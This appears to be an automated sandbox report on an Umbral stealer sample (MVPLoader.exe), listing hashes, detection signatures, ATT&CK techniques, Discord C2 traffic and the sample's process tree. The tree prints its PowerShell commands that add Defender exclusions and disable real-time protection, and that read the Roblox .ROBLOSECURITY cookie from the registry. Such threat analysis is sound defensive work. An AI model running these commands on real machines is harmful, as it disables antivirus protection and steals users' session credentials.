umbral | 701bcfb85c1c91cba00d1ab6642071739621b886e79255d874dd0def2adbe6b6

Analysis

max time kernel
33s
max time network
34s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
23-12-2024 20:05

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

MVPLoader.exe
Size

296KB
MD5

a003b413af774f804d4636f1c548432d
SHA1

1278d0575f8f693f525b0c9382b9eb6c5a01f1f7
SHA256

701bcfb85c1c91cba00d1ab6642071739621b886e79255d874dd0def2adbe6b6
SHA512

9abbc1dae91f85e8565905cb78e7266e7dfa1a6c98e3c80dd2ad9e6d6fd955bd28b7b908c802c74a8e6960b98e85c4d040aa7e01adc0babb841634c339db79d6
SSDEEP

6144:9loZMCrIkd8g+EtXHkv/iD4uDwGPlO2Z0c1niinghb8e1mbietLjth6t0stcOtKc:foZZL+EP8uDwGPlO2Z0c1niingtK

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral1/memory/3928-1-0x0000026A099F0000-0x0000026A09A40000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2500	powershell.exe
5060	powershell.exe
4408	powershell.exe
1428	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
22	discord.com
23	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2088	wmic.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

pid	Process
2500	powershell.exe
2500	powershell.exe
1428	powershell.exe
1428	powershell.exe
5060	powershell.exe
5060	powershell.exe
972	powershell.exe
972	powershell.exe
60	wmic.exe
60	wmic.exe
60	wmic.exe
60	wmic.exe
2960	wmic.exe
2960	wmic.exe
2960	wmic.exe
2960	wmic.exe
1016	wmic.exe
1016	wmic.exe
1016	wmic.exe
1016	wmic.exe
4408	powershell.exe
4408	powershell.exe
2088	wmic.exe
2088	wmic.exe
2088	wmic.exe
2088	wmic.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3928	MVPLoader.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeIncreaseQuotaPrivilege	2500	powershell.exe
Token: SeSecurityPrivilege	2500	powershell.exe
Token: SeTakeOwnershipPrivilege	2500	powershell.exe
Token: SeLoadDriverPrivilege	2500	powershell.exe
Token: SeSystemProfilePrivilege	2500	powershell.exe
Token: SeSystemtimePrivilege	2500	powershell.exe
Token: SeProfSingleProcessPrivilege	2500	powershell.exe
Token: SeIncBasePriorityPrivilege	2500	powershell.exe
Token: SeCreatePagefilePrivilege	2500	powershell.exe
Token: SeBackupPrivilege	2500	powershell.exe
Token: SeRestorePrivilege	2500	powershell.exe
Token: SeShutdownPrivilege	2500	powershell.exe
Token: SeDebugPrivilege	2500	powershell.exe
Token: SeSystemEnvironmentPrivilege	2500	powershell.exe
Token: SeRemoteShutdownPrivilege	2500	powershell.exe
Token: SeUndockPrivilege	2500	powershell.exe
Token: SeManageVolumePrivilege	2500	powershell.exe
Token: 33	2500	powershell.exe
Token: 34	2500	powershell.exe
Token: 35	2500	powershell.exe
Token: 36	2500	powershell.exe
Token: SeDebugPrivilege	1428	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	972	powershell.exe
Token: SeIncreaseQuotaPrivilege	60	wmic.exe
Token: SeSecurityPrivilege	60	wmic.exe
Token: SeTakeOwnershipPrivilege	60	wmic.exe
Token: SeLoadDriverPrivilege	60	wmic.exe
Token: SeSystemProfilePrivilege	60	wmic.exe
Token: SeSystemtimePrivilege	60	wmic.exe
Token: SeProfSingleProcessPrivilege	60	wmic.exe
Token: SeIncBasePriorityPrivilege	60	wmic.exe
Token: SeCreatePagefilePrivilege	60	wmic.exe
Token: SeBackupPrivilege	60	wmic.exe
Token: SeRestorePrivilege	60	wmic.exe
Token: SeShutdownPrivilege	60	wmic.exe
Token: SeDebugPrivilege	60	wmic.exe
Token: SeSystemEnvironmentPrivilege	60	wmic.exe
Token: SeRemoteShutdownPrivilege	60	wmic.exe
Token: SeUndockPrivilege	60	wmic.exe
Token: SeManageVolumePrivilege	60	wmic.exe
Token: 33	60	wmic.exe
Token: 34	60	wmic.exe
Token: 35	60	wmic.exe
Token: 36	60	wmic.exe
Token: SeIncreaseQuotaPrivilege	60	wmic.exe
Token: SeSecurityPrivilege	60	wmic.exe
Token: SeTakeOwnershipPrivilege	60	wmic.exe
Token: SeLoadDriverPrivilege	60	wmic.exe
Token: SeSystemProfilePrivilege	60	wmic.exe
Token: SeSystemtimePrivilege	60	wmic.exe
Token: SeProfSingleProcessPrivilege	60	wmic.exe
Token: SeIncBasePriorityPrivilege	60	wmic.exe
Token: SeCreatePagefilePrivilege	60	wmic.exe
Token: SeBackupPrivilege	60	wmic.exe
Token: SeRestorePrivilege	60	wmic.exe
Token: SeShutdownPrivilege	60	wmic.exe
Token: SeDebugPrivilege	60	wmic.exe
Token: SeSystemEnvironmentPrivilege	60	wmic.exe
Token: SeRemoteShutdownPrivilege	60	wmic.exe
Token: SeUndockPrivilege	60	wmic.exe
Token: SeManageVolumePrivilege	60	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3928 wrote to memory of 2500	3928	MVPLoader.exe	83
PID 3928 wrote to memory of 2500	3928	MVPLoader.exe	83
PID 3928 wrote to memory of 1428	3928	MVPLoader.exe	87
PID 3928 wrote to memory of 1428	3928	MVPLoader.exe	87
PID 3928 wrote to memory of 5060	3928	MVPLoader.exe	89
PID 3928 wrote to memory of 5060	3928	MVPLoader.exe	89
PID 3928 wrote to memory of 972	3928	MVPLoader.exe	91
PID 3928 wrote to memory of 972	3928	MVPLoader.exe	91
PID 3928 wrote to memory of 60	3928	MVPLoader.exe	95
PID 3928 wrote to memory of 60	3928	MVPLoader.exe	95
PID 3928 wrote to memory of 2960	3928	MVPLoader.exe	98
PID 3928 wrote to memory of 2960	3928	MVPLoader.exe	98
PID 3928 wrote to memory of 1016	3928	MVPLoader.exe	101
PID 3928 wrote to memory of 1016	3928	MVPLoader.exe	101
PID 3928 wrote to memory of 4408	3928	MVPLoader.exe	103
PID 3928 wrote to memory of 4408	3928	MVPLoader.exe	103
PID 3928 wrote to memory of 2088	3928	MVPLoader.exe	105
PID 3928 wrote to memory of 2088	3928	MVPLoader.exe	105

C:\Users\Admin\AppData\Local\Temp\MVPLoader.exe
"C:\Users\Admin\AppData\Local\Temp\MVPLoader.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3928
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MVPLoader.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1428
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:972
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:60
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2960
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:4408
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  - Suspicious behavior: EnumeratesProcesses
  PID:2088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
3eb3833f769dd890afc295b977eab4b4

SHA1
e857649b037939602c72ad003e5d3698695f436f

SHA256
c485a6e2fd17c342fca60060f47d6a5655a65a412e35e001bb5bf88d96e6e485

SHA512
c24bbc8f278478d43756807b8c584d4e3fb2289db468bc92986a489f74a8da386a667a758360a397e77e018e363be8912ac260072fa3e31117ad0599ac749e72

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
60b3262c3163ee3d466199160b9ed07d

SHA1
994ece4ea4e61de0be2fdd580f87e3415f9e1ff6

SHA256
e3b30f16d41f94cba2b8a75f35c91ae7418465abfbfe5477ec0551d1952b2fdb

SHA512
081d2015cb94477eb0fbc38f44b6d9b4a3204fb3ad0b7d0e146a88ab4ab9a0d475207f1adae03f4a81ccc5beb7568dc8be1249f69e32fe56efd9ee2f6ee3b1af

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
5e946827b10b3a1aae14763a4d3cc6e6

SHA1
1dd706b1ad0f21efe81138e90905eca5e799117f

SHA256
6d20222f0bd5cfebddd7f5ed0aa73c592f796d0c67748dd4e12ecba9750e47ce

SHA512
27c6f0483c0f5507c3cf31d06e84b72ee6db82a838a48477b1cdb7c6739eba8541a66f7eb4f39fdc032ab5649027f3c81621304bd5ac8ecef1f93734c6d561b7

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8e1fdd1b66d2fee9f6a052524d4ddca5

SHA1
0a9d0994559d1be2eecd8b0d6960540ca627bdb6

SHA256
4cc7c1b79d1b48582d4dc27ca8c31457b9bf2441deb7914399bb9e6863f18b13

SHA512
5a5494b878b08e8515811ab7a3d68780dac7423f5562477d98249a8bedf7ec98567b7cd5d4c6967d6bc63f2d6d9b7da9a65e0eb29d4b955026b469b5b598d1f3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
8d3f899749d979669d905dc62fb68945

SHA1
08b8fa5acce95ea6dfdf5cc74284da16ec2e3c87

SHA256
13c886869fd9ed133c72393dc0b0d62bf1fe18ed92bcdefd4aa875509dc10e3b

SHA512
c1f7cde1ad5a24eaf10dfba78f8b4f624d980f69e6ae6f06045b6fd8bdd11eb84972c2369b33c9b59a198d30c9e043f8db1dfec80564c6b1985c03e718f4c217

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tvzsbdkp.l02.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2500-12-0x0000022FC2EE0000-0x0000022FC2F02000-memory.dmp

Filesize
136KB

Download
memory/2500-13-0x00007FFEC9950000-0x00007FFECA412000-memory.dmp

Filesize
10.8MB

Download
memory/2500-14-0x00007FFEC9950000-0x00007FFECA412000-memory.dmp

Filesize
10.8MB

Download
memory/2500-15-0x00007FFEC9950000-0x00007FFECA412000-memory.dmp

Filesize
10.8MB

Download
memory/2500-16-0x00007FFEC9950000-0x00007FFECA412000-memory.dmp

Filesize
10.8MB

Download
memory/2500-17-0x00007FFEC9950000-0x00007FFECA412000-memory.dmp

Filesize
10.8MB

Download
memory/2500-20-0x00007FFEC9950000-0x00007FFECA412000-memory.dmp

Filesize
10.8MB

Download
memory/3928-34-0x0000026A241A0000-0x0000026A241F0000-memory.dmp

Filesize
320KB

Download
memory/3928-33-0x0000026A24120000-0x0000026A24196000-memory.dmp

Filesize
472KB

Download
memory/3928-35-0x0000026A24270000-0x0000026A2428E000-memory.dmp

Filesize
120KB

Download
memory/3928-1-0x0000026A099F0000-0x0000026A09A40000-memory.dmp

Filesize
320KB

Download
memory/3928-0-0x00007FFEC9953000-0x00007FFEC9955000-memory.dmp

Filesize
8KB

Download
memory/3928-60-0x0000026A240C0000-0x0000026A240CA000-memory.dmp

Filesize
40KB

Download
memory/3928-61-0x0000026A241F0000-0x0000026A24202000-memory.dmp

Filesize
72KB

Download
memory/3928-2-0x00007FFEC9950000-0x00007FFECA412000-memory.dmp

Filesize
10.8MB

Download
memory/3928-76-0x00007FFEC9953000-0x00007FFEC9955000-memory.dmp

Filesize
8KB

Download
memory/3928-80-0x00007FFEC9950000-0x00007FFECA412000-memory.dmp

Filesize
10.8MB

Download
memory/5060-47-0x0000011667E60000-0x000001166807D000-memory.dmp

Filesize
2.1MB

Download